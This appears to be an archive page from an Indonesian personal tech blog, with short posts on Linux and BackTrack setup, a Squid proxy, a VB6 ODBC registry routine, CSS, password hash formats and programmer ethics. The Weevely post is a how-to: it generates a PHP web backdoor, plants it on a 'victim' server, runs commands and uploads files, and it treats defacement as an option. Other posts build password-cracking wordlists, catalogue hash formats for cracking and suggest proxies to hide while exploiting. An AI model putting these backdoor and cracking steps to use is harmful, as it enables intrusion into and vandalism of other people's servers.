Showing posts with label Tekhnologi. Show all posts
Showing posts with label Tekhnologi. Show all posts

Tuesday, June 10, 2014

Upgrade Firefox di Linux (Backtrack)

#tar xvf firefox-5.0.tar.bz2 ( extrack filenya ) #sudo rm -r /opt/firefox/ ( diremove dulu versi sebelumnya bila sudah terinstall ) #sudo mv firefox /opt/firefox ( pindahkan hasil file extracknya ke folder /opt/firefox/ ) #sudo ln -s /opt/firefox/firefox /usr/bin/firefox ( membuat symbolic link untuk shortcut firefox anda) Selesai.

Wednesday, November 06, 2013

Membuat Connection String ODBC Database MYSQL Dengan Visual Basic 6.0

Option Explicit

Private Const REG_SZ = 1    'Constant for a string variable type.
Private Const HKEY_LOCAL_MACHINE = &H80000002

Private Declare Function RegCreateKey Lib "advapi32.dll" Alias _
       "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, _
       phkResult As Long) As Long

Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias _
       "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, _
       ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal _
       cbData As Long) As Long

Private Declare Function RegCloseKey Lib "advapi32.dll" _
       (ByVal hKey As Long) As Long
Private Sub Command1_Click()
On Error GoTo err
   Dim DataSourceName As String
   Dim DatabaseName As String
   Dim Description As String
   Dim DriverPath As String
   Dim DriverName As String
   Dim LastUser As String
   Dim Regional As String
   Dim Server As String
   Dim AutoReconnect As String
   Dim PromptAuth As String
   Dim Port As String
   Dim PWD As String

   Dim lResult As Long
   Dim hKeyHandle As Long

   'Specify the DSN parameters.

   DataSourceName = "DIKA"
   DatabaseName = "Nama Database"
   Description = "DSN Description"
   DriverPath = "C:\Program Files\MySQL\Connector ODBC 5.2\Unicode\myodbc5w.dll"
   LastUser = "root"
   Server = "127.0.0.1"
   DriverName = "MySQL ODBC 5.2w Driver"
   AutoReconnect = "1"
   PromptAuth = "1"
   Port = "3306"
   PWD = "password mysql"
  

   'Create the new DSN key.

   lResult = RegCreateKey(HKEY_LOCAL_MACHINE, "SOFTWARE\ODBC\ODBC.INI\" & _
        DataSourceName, hKeyHandle)

   'Set the values of the new DSN key.

   lResult = RegSetValueEx(hKeyHandle, "Database", 0&, REG_SZ, _
      ByVal DatabaseName, Len(DatabaseName))
   lResult = RegSetValueEx(hKeyHandle, "Description", 0&, REG_SZ, _
      ByVal Description, Len(Description))
   lResult = RegSetValueEx(hKeyHandle, "Driver", 0&, REG_SZ, _
      ByVal DriverPath, Len(DriverPath))
   lResult = RegSetValueEx(hKeyHandle, "UID", 0&, REG_SZ, _
      ByVal LastUser, Len(LastUser))
   lResult = RegSetValueEx(hKeyHandle, "Server", 0&, REG_SZ, _
      ByVal Server, Len(Server))
   lResult = RegSetValueEx(hKeyHandle, "AUTO_RECONNECT", 0&, REG_SZ, _
      ByVal AutoReconnect, Len(AutoReconnect))
   lResult = RegSetValueEx(hKeyHandle, "NO_PROMPT", 0&, REG_SZ, _
      ByVal PromptAuth, Len(PromptAuth))
   lResult = RegSetValueEx(hKeyHandle, "PORT", 0&, REG_SZ, _
      ByVal Port, Len(Port))
   lResult = RegSetValueEx(hKeyHandle, "PWD", 0&, REG_SZ, _
      ByVal PWD, Len(PWD))

   'Close the new DSN key.

   lResult = RegCloseKey(hKeyHandle)

   'Open ODBC Data Sources key to list the new DSN in the ODBC Manager.
   'Specify the new value.
   'Close the key.

   lResult = RegCreateKey(HKEY_LOCAL_MACHINE, _
      "SOFTWARE\ODBC\ODBC.INI\ODBC Data Sources", hKeyHandle)
   lResult = RegSetValueEx(hKeyHandle, DataSourceName, 0&, REG_SZ, _
      ByVal DriverName, Len(DriverName))
   lResult = RegCloseKey(hKeyHandle)
  
   MsgBox "DSN Baru Berhasil Di Buat.", vbInformation, "#Created"
  
   Exit Sub
  
err:
   MsgBox err.Description, vbExclamation, err.Number
   Exit Sub
End Sub

Wednesday, September 05, 2012

Membuat wordlist sendiri menggunakan twofi

Step :
- Login sebagai root dan instal twofi dr repo (jika anda telah menggunakan Backtrack 5 R3, step ini bisa anda skip)

apt-get install twofi

- Jalankan twofi di menu

root@k43r14:/pentest/passwords/twofi# ruby twofi.rb

download terlebih dahulu file user yang akan digunakan untuk command -U di twofi DISINI.

dan proses pembuatan wordlistnya sebagai berikut :

root@k43r14:/pentest/passwords/twofi# ruby twofi.rb -m 6 -U /media/Data/Linux/DikaBackTrackData/Docs/list/listuser.txt >> /media/Data/Linux/DikaBackTrackData/Docs/list/passnew.lst

command diatas menunjuk ke /media/Data/Linux/DikaBackTrackData/Docs/list/ itu karena saya menyimpan file user dan password k direktory tersebut.

berikut ss dari terminal saya.


Selamat Mencoba.


Source

Saturday, August 04, 2012

Menggunakan Weevely Sebagai Backdoor Web

Oke langsung aja kita bahas cara pemakaiannya.
1.Cara create file backdoor.php nya..

ketik di console weevely generate

misalnya kita mau menaruh file backdoornya di Destop gini caranya

weevely generate password /home/muchlisoft/Destop/backdoor.php

setelah kita ketikkan perintah tersebut maka akan tercipta sebuah file backdoor.php di Destop kita.

2. Selanjutnya setelah file backdoornya sudah jadi maka silahkan sahabat – sahabat upload file backdoor.php tadi ke webserver yang jadi sasaran sahabat. Untuk caranya tidak saya bahas di sini.Cari aja caranya di google banyak kok.

3. Misalkan file backdoor.php sudah kita upload di server dengan alamat http://www.victim.com/backdoor.php.

Kita ketikkan perintah weevely http://www.victim.com/backdoor.php password

Jika sukses maka kemungkinan besar kita sudah bisa untuk ngapain aja di server itu, mau ngedit,hapus,buat ,upload dan upload file di server tersebut. Coba sahabat – sahabat ketikkan perintah – perintah command line di situ.Misalkan kita ketikan perintah ls, pasti akan terlihat semua file yang ada di dalam direktory tersebut. Mau deface juga bisa.heheh

4. Perintah untuk upload file ,misalnya kita mau upload file muchlisoft.php . maka caranya sebagai berikut.

:file.upload /path_file_yang_akan_kita_upload/muchlisoft.php /Path_untuk_menaruh_file_yang_kita_upload/muchlisoft.php

Itu tadi adalah sedikit tentang penggunaan weevely, untuk mengetahui lebih banyak perintah – perintahnya, sahabat bisa memasukkan peritah weevely -h .

Semoga bermanfa’at….

Friday, June 22, 2012

Membangun Proxy Server

Setting interfaces dengan asumsi ada dua interfaces yaitu eth0 dan eth1. Caranya adalah :
Ketik di terminalnya perintah sudo nano /etc/network/interfaces
Ubah isi interfaces menjadi :

auto eth0
iface eth0 inet dhcp
auto eth1
iface eth1 inet static
address 192.168.50.1
netmask 255.255.255.0

lalu simpan perubahannya dengan tekan crtl+x lalu y dan enter.

3. Restart networknya dengan perintah sudo /etc/init.d/networking restart
4. Setelah status bound berarti setting ip sudah benar, lalu aktifkan ip_forward, dengan membuka file rc.local dengan perintah sudo nano /etc/rc.local lalu tambahkan perintah berikut di sebelum exit atau sesudah # by default this script does nothing :

echo 1 > /proc/sys/net/ipv4/ip_forward
exit 0

lalu simpan perubahannya dengan tekan crtl+x lalu y dan enter.

5. lalu untuk mengaktifkan ip_forward masih ada satu tahpan lagi yaitu buka fie /etc/sysctl.conf dengan perintah sudo nano /etc/sysctl.conf dan cari (crtl + w) net.ipv4.ip_forward=1 setelah itu hapus tanda # yangada pada sebeumnya . lalu simpan perubahannya dengan tekan crtl+x lalu y dan enter.
6. Ketik perintah sudo sysctl –p (apabila report nya ada tulisan net.ipv4.ip_forward=1 berarti ip forward sudah aktif)
7. Buat iptables dan merubah port default 80 menjadi 3128 untuk mengatur jalur lalu lintas data yaitu dengan membuka file rc.local kembali dan sesudah echo 1 > /proc/sys/net/ipv4/ip_forward tambahkan perintah berikut :

iptables –t nat –A POSTROUTING –j MASQUERADE
iptables –t nat –A PREROUTING –p tcp - -dport 80 –j REDIRECT - -to-port 3128

kurang lebihnya menjadi seperti berikut :

echo 1 > /proc/sys/net/ipv4/ip_forward
iptables –t nat –A POSTROUTING –j MASQUERADE
iptables –t nat –A PREROUTING –p tcp - -dport 80 –j REDIRECT - -to-port 3128

lalu simpan perubahannya dengan tekan crtl+x lalu y dan enter.

8. Aktifkan rc.local dengan perintah sudo /etc/init.d/rc.local start
9. Aktifkan squid dengan terlebih dahulu install squidnya. Perintahnya adalah sudo apt-get update dan setelah itu ketik perintah sudo apt-get install squid.
10. Setelah squid terinstall dengan baik tinggal kita konfigurasi squid tersebut dengan asumsi visible hostname www.opuza2905.com, cache_mgr dikareanza@aol.com, http port 3128 transparent, situs yang diblok adalah adalah www.facebook.com dan www.yoututbe.com.
 11. Buka file squid dengan perintah sudo nano /etc/squid/squid.conf.
12. Cari kata TAG: visible_hostname lalu enter.
13. Setelah ditemukan kata TAG: visible_hostname hapus tanda # dan TAG dan tambahkan sesudah visible_hostname www.smk.sch.id. Kurang lebihnya sebagai berikut :
(Awalnya)

# TAG: visible_hostname

Ganti menjadi

visible_hostname www.opuza2905.com

14. Crtl+w lalu ketik cache_mgr webmaster lalu enter, hapus tanda # yang ada sebelum cache_mgr dang anti webmasternya menjadi alamat email. Berikut tampilannya :
(Awalnya)

# cache_mgr webmaster

Menjadi

cache_mgr dikareanza@aol.com

15. Crtl+w lalu ketik http_port 3128 enter dan tambahkan transparent, kurang lebihnya seperti berikut :
Awalnya

http_port 3128

menjadi

http_port 3128 transparent

16. Buat access list untuk jaringan kita serta acces yang nantinya akan di blok. perintahnya crtl+w ketik acl connect lalu enter, ketik di bawahnya acl situs url_regex –i “/etc/squid/blok” dan acl jaringan src 192.168.50.0/24 kurang lebihnya menjadi seperti berikut :

acl CONNECT method CONNECT.
acl situs url_regex –i “/etc/squid/blok”
acl jaringan src 192.168.50.0/24

17. Masih di squid.conf crtl+w ketik insert your lalu enter dan buat aturan untuk acl acl yang tadi dibuat (mana saja yang di allow dan yang di deny). Dengan menambahkan di ruang kosong yang ada di bawah insert your http_access deny situs, dan dibawahnya lagi http_access allow jaringan. Kurang lebihnya menjadi seperti berikut :

http_access deny situs
http_access allow jaringan

18. Konfigurasi squid sampai tahap ini sudah selesai. Simpan perubahan dengan menekan crtl+x lalu y dan enter.
19. Ketik perintah sudo nano /etc/squid/blok lalu isi di dalamnya facebook youtube atau www.facebook.com www.youtube.com (sama saja)
20. Restart squid kita dengan perintah sudo /etc/init.d/squid restart
21. lihat routing table apakah sudah tidak ada kesalahan atau masih ada, dengan perintah sudo route –n
22. lihat perubahan iptables yang ada apakah masih ada kesalahan atau tidak dengan perintah sudo iptables –t nat –nL
23. setelah kalian yakin tidak ada kesalahan penulisan perintah / script dan tahapan tahapan ini tinggal ketik sudo sudo /etc/init.d/squid restart lalu ketik sudo /etc/init.d/networking restart
24. tahapan akhir adalah test di kient dengan alamat ip client ip address 192.168.50.2, gateway 192.168.50.1, subnet mask 255.255.255.0, dns 8.8.8.8.
25. coba akses ke facebook dan youtube apabila reportnya access denied maka berarti facebook dan youtube berhasil di blok.
26. Coba akses ke google apabila berjalan dengan lancar alias tidak di blok maka konfigurasi squid secara global sudah benar dan tidak ada kesalahan.


Berikut adalah out putnya bila aksess ke facebook dan youtube :



dan berikut bila ke google :



selamat mencoba.

Tuesday, June 19, 2012

Membuat Shadow Text Dengan CSS

Berikut ini contoh text yang telah menggunakan shadow :



Dika Kaeria Reanza


dan ini code yang digunakan :

<!DOCTYPE html>
<html>
<head>
<style type="text/css">
h1
{
text-shadow: 1px 3px 7px blue;
}
</style>
</head>
<body>

<h1>Dika Kaeria Reanza</h1>

</body>
</html>


Selamat mencoba!!!

Saturday, June 16, 2012

Proxy Server

1. Proxy Server
Ada beberapa kalimat yang menjelaskan apa sebenarnya proxy server itu. Proxy server adalah sebuah komputer server atau program komputer yang dapat bertindak sebagai komputer lainya untuk melakukan request terhadap content dari internet dan intranet (sumber>>http://id.wikipedia.org/).
Proxy server bertindak sebagai gateway terhadap dunia internet untuk setiap komputer client. Dalam menjalankan tugasnya proxy server tidak terlihat oleh komputer client sebagai contoh saat seorang pengguna yang berinteraksi dengan Internet melalui sebuah proxy server tidak akan mengetahui bahwa sebuah proxy server sedang menangani request yang dilakukannya. Web server yang menerima request dari Proxy server akan menginterpresentasikan request-request tersebut seolah-olah datang secara langsung dari komputer client, bukan dari proxy server.
Proxy server dalam suatu jaringan memiliki tiga fungsi utama yaitu sebagai Connection sharing, filtering, dan caching.

a. Connection Sharing
Dalam suatu jaringan lokal yang terhubung ke jaringan lain atau internet, pengguna tidak langsung berhubungan dengan jaringan luar atau internet, tetapi harus melewati suatu gateway, yang bertindak sebagai batas antara jaringan lokal (privat) dan jaringan luar (publik). Gateway ini sangat penting, karena jaringan lokal harus dapat dilindungi dengan baik dari bahaya yang mungkin berasal dari internet, dan hal tersebut akan sulit dilakukan bila tidak ada garis batas yang jelas antara jaringan lokal dan internet. Gateway juga bertindak sebagai titik dimana sejumlah koneksi dari pengguna lokal akan terhubung kepadanya, dan suatu koneksi ke jaringan luar juga terhubung kepadanya. Dengan demikian, koneksi dari jaringan lokal ke internet akan menggunakan sambungan yang dimiliki oleh gateway secara bersama-sama (connection sharing). Dalam hal ini, gateway adalah juga sebagai proxy server, karena menyediakan layanan sebagai perantara antara jaringan lokal dan jaringan luar atau internet. singkatnya : 1 IP public dapat digunakan oleh banyak user, ( IPv4 sudah hampir habis dipakai….mari kita migrasi ke IPv6 ….. ) selain itu juga untuk melindungi jaringan dalam dari serangan luar.

b. Filtering
merupakan sebuah usaha pengamanan atau pembatasan sehingga dengan adanya filtering sebuah proxy server dapat mengamankan dan membatasi hak akses client pada jaringan privat. Jadi meskipun mula-mula dibuat sebagai cache nonsekuriti, tujuan utama proxy server sekarang menjadi firewalling. Proxy server memperbarui request layanan pada jaringan eksternal atas nama client mereka pada jaringan private. Ini secara otomatis menyembunyikan identitas dan jumlah client pada jaringan internal dari jaringan eksternal. Karena posisi mereka di antara client internal dan server publik, proxy juga dapat menyimpan content yang sering diakses dari jaringan publik untuk mengurangi akses ke jaringan publik tersebut. Kebanyakan implementasi nyata proxy sekuriti meliputi pemfilteran paket dan Network Address Translation untuk membangun firewall yang utuh. Teknologi tersebut dapat digabungkan dengan proxy untuk menghilangkan serangan yang terhadapnya proxy rentan.

c. Caching (Internet Object caching)
adalah suatu cara untuk menyimpan hasil permintaan internet-object. (seperti: data yang ada dari HTTP, FTP, dan ghoper protokol) untuk membuat sistem dekat dengan permintaan daripada ke sumber aslinya. Web browser dapat menggunakan lokal squid cache sebagai proxy HTTP server, ini akan mengurangi waktu akses seperti halnya penghematan bandwidth. Dengan kata lain sebuah client tidak harus melakukan kontak dengan server untuk meminta layanan akan tetapi client dapat mendapatkan layanan (data) yang sudah tersimpan pada proxy server, dengan hal ini maka akses akan semakin cepat.

2. Squid
Squid adalah software publik domain berbasis UNIX. fungsi dari squid adalah meng-‘cache’ atau menyimpan data yang diminta oleh pengguna (komputer client) biasanya berupa web pages dan FTP. Platform UNIX yang di support oleh Squid adalah FreeBSD, BSDI, Digital Unix, Irix, Linux, Solaris dan SunOs. Tidak semua data bisa di cache oleh Squid, data-data yang bersifat dinamik seperti CGI-BIN tidak di cache oleh Squid, jadi tiap kali ada permintaan CGI-BIN, maka Squid akan menghubungi langsung server tujuan. Saat ini protokol yang bisa dilayani oleh Squid adalah HTTP, FTP, Gopher, dan Wais.

3. NAT (Network address translation)
Network Address Translation atau yang biasa disebut dengan NAT adalah suatu metode untuk menghubungkan lebih dari satu komputer ke jaringan internet dengan menggunakan satu alamat IP. Banyaknya penggunaan metode ini disebabkan karena ketersediaan alamat IP yang terbatas, kebutuhan akan keamanan (security), dan kemudahan serta fleksibilitas dalam administrasi jaringan. Dengan NAT, suatu jaringan yang besar dapat dipecah-pecah menjadi jaringan yang lebih kecil. Bagian-bagian kecil tersebut masing-masing memiliki satu alamat IP, sehingga dapat menambahkan atau mengurangi jumlah komputer tanpa mempengaruhi jaringan secara keseluruhan. Selain itu, pada gateway NAT modern terdapat server DHCP yang dapat mengkonfigurasi komputer client secara otomatis. Hal ini sangat menguntungkan bagi admin jaringan karena untuk mengubah konfigurasi jaringan, admin hanya perlu mengubah pada komputer server dan perubahan ini akan terjadi pada semua komputer client. Gateway NAT juga mampu membatasi akses ke internet, selain juga mampu mencatat semua traffic baik dari dan ke internet. Overall, dengan segala kelebihan gateway NAT tersebut, admin jaringan akan sangat terbantu dalam melakukan tugas-tugasnya.

Tuesday, May 29, 2012

Macam Bentuk Hash Password

1. DES(Unix)
[+] Digunakan di Linux dan sejenisnya.
[+] Panjang : 13 Karakter.
[+] Deskripsi : Dua karakter pertama adalah salt (Karakter acak, di contoh kita saltnya adalah string "Iv.") kemudian diikuti oleh Hashnya.
[+] Contoh : IvS7aeT4NzQPM

2. Domain Cached Credentials
[+] Digunakan untuk mencache password-password domain windows.
[+] Panjang : 16 bytes (32 Karakter)
[+] Algorithm : MD4(MD4(Unicode($pass)).Unicode(strtolower($username)))
[+] Contoh : Admin:b474d48cdfc4974d86ef4d24904cdd91

3. MD5(Unix)
[+] Digunakan di Linux dan sejenisnya.
[+] Panjang : 34 Karakter.
[+] Deskripsi : Hash dimulai dengan tanda $1$ kemudian dilanjutkan dengan salt (sampai dengan 8 karakter acak, di contoh kita saltnya adalah string "12345678") kemudian dilanjutkan dengan satu karakter lagi $ , kemudian diikuti oleh Hashnya.
[+] Algorithm : Sebenarnya ini adalah loop yang memanggil algoritma md5 sebanyak 2000 kali.
[+] Contoh : $1$12345678$XM4P3PrKBgKNnTaqG9P0T/

4. MD5(APR)
[+] Digunakan di Linux dan sejenisnya.
[+] Panjang : 37 Karakter.
[+] Deskripsi : Hash dimulai dengan tanda $apr1$ , kemudian dilanjutkan dengan salt (sampai dengan 8 karakter acak, di contoh kita saltnya adalah string "12345678"), kemudian dilanjutkan dengan satu karakter lagi $ , kemudian diikuti oleh Hashnya.
[+] Algorithm : Sebenarnya ini adalah loop yang memanggil algoritma md5 sebanyak 2000 kali.
[+] Contoh : $apr1$12345678$auQSX8Mvzt.tdBi4y6Xgj.

5. MD5(phpBB3)
[+] Digunakan di phpBB 3.x.x.
[+] Panjang : 37 Karakter.
[+] Dekripsi : Hash dimulai dengan tanda $H$ kemudian diikuti dengan satu karakter (paling sering angka "9") kemudian diikuti dengan salt (8 karakter acak, di contoh kita saltnya adalah string "12345678"), kemudian diikuti oleh Hashnya.
[+] Algorithm : Sebenarnya ini adalah loop yang memanggil algoritma md5 sebanyak 2048 kali.
[+] Contoh : $H$9123456785DAERgALpsri.D9z3ht120

6. MD5(Wordpress)
[+] Digunakan di Wordpress.
[+] Panjang : 34 Karakter.
[+] Deskripsi : Hash dimulai dengan tanda $P$ , kemudian diikuti dengan satu karakter (Paling sering huruf "B"), kemudian diikuti dengan salt (8 karakter acak, di contoh kita saltnya adalah string "12345678"), kemudian diikuti oleh Hashnya.
[+] Algorithm : Sebenarnya ini adalah loop yang memanggil algoritma md5 sebanyak 8192 kali.
[+] Contoh : $P$B123456780BhGFYSlUqGyE6ErKErL01

7. MySQL
[+] Digunakan di MySQL versi lama.
[+] Panjang : 8 bytes.
[+] Deskripsi : Hash yang terdiri dari dua DWORD, masing-masing tidak melebihi nilai 0x7fffffff.
[+] Contoh : 606717496665bcba

8. MySQL5
[+] Digunakan di MySQL Versi baru.
[+] Panjang : 20 bytes.
[+] Algorithm : SHA-1(SHA-1($pass))
[+] Contoh : *E6CC90B878B948C35E92B003C792C46C58C4AF40
[+] Catatan : Hash harus dimuat ke program tanpa tanda bintang (*) yang terdapat di awal setiap hash.

9. RAdmin v2.x
[+] Digunakan di Aplikasi Remote Administrator v2.x.
[+] Panjang : 16 bytes.
[+] Algorithm : Password diisi dengan nol dengan panjang 100 bytes, kemudian seluruh string dihash dengan algoritma MD5.
[+] Contoh : 5e32cceaafed5cc80866737dfb212d7f

10. MD5
[+] Digunakan di phpBB v2.x, Joomla versi di bawah 1.0.13 dan banyak forum dan CMS.
[+] Panjang : 16 bytes.
[+] Algorithm : sama seperti fungsi md5() di php.
[+] Contoh : c4ca4238a0b923820dcc509a6f75849b

11. md5($pass.$salt)
[+] Digunakan di WB News, Joomla Versi 1.0.13 keatas.
[+] Panjang : 16 bytes
[+] contoh : 6f04f0d75f6870858bae14ac0b6d9f73:1234

12. md5($salt.$pass)
[+] Digunakan di osCommerce, AEF, Gallery dan beberapa CMS.
[+] Panjang : 16 bytes.
[+] Contoh : f190ce9ac8445d249747cab7be43f7d5:12

13. md5(md5($pass))
[+] Digunakan di e107, DLE, AVE, Diferior, Koobi dan beberapa CMS.
[+] Panjang : 16 bytes.
[+] Contoh : 28c8edde3d61a0411511d3b1866f0636

14. md5(md5($pass).$salt)
[+] Digunakan di vBulletin, IceBB.
[+] Panjang ; 16 bytes.
[+] Contoh : 6011527690eddca23580955c216b1fd2:wQ6

15. md5(md5($salt).md5($pass))
[+] Digunakan di IPB.
[+] Panjang : 16 bytes.
[+] Contoh : 81f87275dd805aa018df8befe09fe9f8:wH6_S

16. md5(md5($salt).$pass)
[+] Digunakan di MyBB.
[+] Panjang : 16 bytes.
[+] Contoh : 816a14db44578f516cbaef25bd8d8296:1234

17. md5($salt.$pass.$salt)
[+] Digunakan di TBDev.
[+] Panjang : 16 bytes.
[+] Contoh : a3bc9e11fddf4fef4deea11e33668eab:1234

18. md5($salt.md5($salt.$pass))
[+] Digunakan di DLP.
[+] Panjang : 16 bytes.
[+] Contoh : 1d715e52285e5a6b546e442792652c8a:1234

20. SHA-1
[+] Digunakan dibanyak Forum dan CMS.
[+] Panjang : 20 bytes
[+] Algorithm: Sama dengan sha1() fungsi di PHP.
[+] Contoh : 356a192b7913b04c54574d18c28d46e6395428ab

21. sha1(strtolower($username).$pass)
[+] Digunakan di SMF
[+] Panjang : 20 bytes.
[+] Contoh : Admin:6c7ca345f63f835cb353ff15bd6c5e052ec08e7a

22. sha1($salt.sha1($salt.sha1($pass)))
[+] Digunakan di Woltlab BB
[+] Panjang : 20 bytes
[+] Contoh : cd37bfbf68d198d11d39a67158c0c9cddf34573b:1234

23. SHA-256(Unix)
[+] Digunakan di Linux dan sejenisnya.
[+] Panjang : 55 Karakter.
[+] Deskripsi : Hash dimulai dengan tanda $5$, kemudian diikuti salt (sampai dengan 8 karakter acak, di contoh kita saltnya adalah string "12345678"), kemudian dilanjutkan dengan satu karakter lagi $, kemudian diikuti hash sebenarnya.
[+] Algorithm : Sebenarnya ini adalah loop yang memanggil algoritma SHA-256 5000 kali.
[+] Contoh : $5$12345678$jBWLgeYZbSvREnuBr5s3gp13vqi...

24. SHA-512(Unix)
[+] Digunakan di Linux dan sejenisnya.
[+] Panjang : 98 Karakter.
[+] Deskripsi : Hash dimulai dengan tanda $6$, kemudian diikuti dengan salt (sampai dengan 8 karakter acak, dicontoh kita saltnya adalah string "12345678"), kemudian dilanjutkan dengan satu karakter lagi $, kemudian diikuti hash sebenarnya.
[+] Algorithm : Sebenarnya ini adalah loop yang memanggil algoritma SHA-512 5000 kali.
[+] contoh : $6$12345678$U6Yv5E1lWn6mEESzKen42o6rbEm...

Saturday, April 28, 2012

Cara Mengubah DNS di Backtrack (wvdial)

Langkah awal ialah kita harus merubah konfigurasi wvdial yang terletak di
/etc/ppp/peers/wvdial yang berfungsi untuk mematikan automatic dns call di wvdial.
Dengan mengetikkan perintah berikut di konsole:

#sudo gedit /etc/ppp/peers/wvdial

hingga pada file wvdial akan tampil isi seperti berikut ini:

noauth
name wvdial
usepeerdns

Tambahkan tanda # di depan usepeerdn hingga menjadi seperti berikut ini:

noauth
name wvdial
#usepeerdns

Setelah itu tekan CTRL+X dan lalu ada konfirmasi ulang, tekan Y untuk save lalu rubah bagian config dari wvdial dengan kode sebagai berikut :

#sudo gedit /etc/wvdial.conf

tambahkan kode "Auto DNS = off" dibagian kode config wvdial untuk koneksinya untuk mematikan auto dnsnya. hasilnya kurang lebih seperti data berikut :

[Dialer Defaults]
Init = ATZ
Init = ATQ0 V1 E1 S0=0 &C1 &D2 +FCLASS=0
Modem Type = USB Modem
Baud = 915200
Modem = /dev/ttyUSB0
Phone = #777
Username = aha@aha.co.id
Password = aha
New PPPD = yes
Stupid Mode = 1
Auto DNS = Off

dan langkah finishing ialah dengan menambahkan DNS yang ingin kita gunakan, maka caranya adalah ketikkan perintah berikut ini:

#sudo gedit /etc/resolv.conf

hasilnya seperti berikut :

nameserver 8.8.8.8
nameserver 8.8.4.4

Dan settingan untuk merubah DNS telah berhasil.
Selamat Mencoba

Tuesday, April 24, 2012

Install Driver Intel Di BackTrack 5r2

Langsung z k tkp-nya kalau kita ingin install driver VGA Intel kita di backtrack.

^,^

Pertama kali, install synaptic dulu. Karena saat pertama install, synapticnya belom ada, jadi gk bisa nambah repo

root@bt:~# apt-get install synaptic

root@bt:~# add-apt-repository ppa:glasen/intel-driver
root@bt:~# apt-get update && apt-get upgrade

prepare-kernel-sources
cd /usr/src/linux
cp -rf include/generated/* include/linux/

Setelah itu Restart BT anda.

Semoga berhasil

Tuesday, April 10, 2012

Setelah Install BackTrack

Apa yang harus kita lakuka setelah berhasil menginstall BackTrack 5?
Yang harus kalian lakukan pertama kali setelah menginstall Backtrack adalah :

Berusaha sekuat tenaga untuk sebisa mungkin connect ke insternet. Jika menggunakan LAN, this is simple, tapi yang menggunakan modem, sudah barang tentu harus melakukan setting modemnya. Baca : Install USB Modem di Linux Backtrack 5.
Tambahkan repository ubuntu :

:# kwrite /etc/apt/sources.list

deb http://all.repository.backtrack-linux.org revolution main microverse non-free testing
deb http://32.repository.backtrack-linux.org revolution main microverse non-free testing
deb http://source.repository.backtrack-linux.org revolution main microverse non-free testing
# deb cdrom:[Ubuntu 10.10 _Maverick Meerkat_ - Release i386 (20101007)]/ maverick main restricted
# See http://help.ubuntu.com/community/UpgradeNotes for how to upgrade to
# newer versions of the distribution.
deb http://dl2.foss-id.web.id/ubuntu/ maverick main restricted
deb-src http://dl2.foss-id.web.id/ubuntu/ maverick main restricted
## Major bug fix updates produced after the final release of the
## distribution.deb http://dl2.foss-id.web.id/ubuntu/ maverick-updates main restricted
deb-src http://dl2.foss-id.web.id/ubuntu/ maverick-updates main restricted
## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu
## team. Also, please note that software in universe WILL NOT receive any
## review or updates from the Ubuntu security team.
deb http://dl2.foss-id.web.id/ubuntu/ maverick universe
deb-src http://dl2.foss-id.web.id/ubuntu/ maverick universe
deb http://dl2.foss-id.web.id/ubuntu/ maverick-updates universe
deb-src http://dl2.foss-id.web.id/ubuntu/ maverick-updates universe
## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu
## team, and may not be under a free licence. Please satisfy yourself as to
## your rights to use the software. Also, please note that software in
## multiverse WILL NOT receive any review or updates from the Ubuntu
## security team.
deb http://dl2.foss-id.web.id/ubuntu/ maverick multiverse
deb-src http://dl2.foss-id.web.id/ubuntu/ maverick multiverse
deb http://dl2.foss-id.web.id/ubuntu/ maverick-updates multiverse
deb-src http://dl2.foss-id.web.id/ubuntu/ maverick-updates multiverse
## Uncomment the following two lines to add software from Canonical’s
## ‘partner’ repository.
## This software is not part of Ubuntu, but is offered by Canonical and the
## respective vendors as a service to Ubuntu users.
# deb http://archive.canonical.com/ubuntu maverick partner
# deb-src http://archive.canonical.com/ubuntu maverick partner
## This software is not part of Ubuntu, but is offered by third-party
## developers who want to ship their latest software.
# deb http://extras.ubuntu.com/ubuntu maverick main
# deb-src http://extras.ubuntu.com/ubuntu maverick main
deb http://dl2.foss-id.web.id/ubuntu/ maverick-security main restricted
deb-src http://dl2.foss-id.web.id/ubuntu/ maverick-security main restricted
deb http://dl2.foss-id.web.id/ubuntu/ maverick-security universe
deb-src http://dl2.foss-id.web.id/ubuntu/ maverick-security universe
deb http://dl2.foss-id.web.id/ubuntu/ maverick-security multiverse
deb-src http://dl2.foss-id.web.id/ubuntu/ maverick-security multiverse


3. Increase cache limit nya.


# kwrite /etc/apt/apt.conf.d/70debconf


PUT THIS CODE :
APT::Cache-Limit "100000000";

Setelah itu, lakukan update.

# apt-get update

Install aplikasi yang di butuhkan seperti mplayer, amarok, dan lain-lain.
Jika perlu lakukan Upgrade.

Sampai step ini BackTrack siap di gunakan dengan seksama.

Thursday, April 05, 2012

Kode Etik Programmer

Berikut di bawah ini Kode Etik Tentang Programmer:
  1. Programmer komputer tidak boleh membuat atau mendistribusikan (menyebarkan) Malware.
  2. Programmer komputer tidak boleh membuat kode sebuah program yang sulit untuk diikuti atau ditelusuri dengan sengaja
  3. Programmer komputer tidak boleh membuat dokumentasi yang membingungkan atau tidak akurat dengan sengaja
  4. Programmer komputer tidak boleh menggunakan ulang kode yang mempunyai hak cipta, kecuali telah membeli atau meminta izin
  5. Tidak boleh mencari keuntungan tambahan dari proyek yang didanai oleh pihak kedua tanpa izin
  6. Tidak boleh mencuri software khususnya development tools
  7. Tidak boleh mencela atau mempermalukan profesi programmer komputer
  8. Tidak dengan sengaja membuat atau mengenalkan bug, dan kemudia mengklaim untuk fixing bug, atau memberikan stimulasi untuk update versi terakhir
  9. Tidak boleh menulis kode yang dengan sengaja menjatuhkan kode programmer lain untuk mengambil keuntungan dalam menaikkan status
  10. Tidak boleh mengambil keuntungan dari pekerjaan orang lain
Dari beberapa kode etik programmer yang dibsebutkan diatas, dapat dijadikan sebagai “Golden Rule” yaitu “Memperlakukan orang lain sebagaimana kamu ingin diperlakukan.

Thursday, March 29, 2012

Proxy

To start off you are going to want to use proxys. It is a good habit to get into in case you are just browsing the web and come across bad source code later on and want to exploit it. Its relativley simple. You can just google anonymous proxy and get a list of proxy servers. You might have to try around 10 of them to find one that is working and isn't uber slow. To setup a proxy on Firefox in linux you go to

#Edit

#Options

#Advanced

#Connection-Settings

#Manual proxy configuration

Then you would just fill it in according to the information you found on the proxy list. To test you just browse to whatismyip.com and if it says your Ip is that of the Proxy server then you are ready to go!

Monday, March 19, 2012

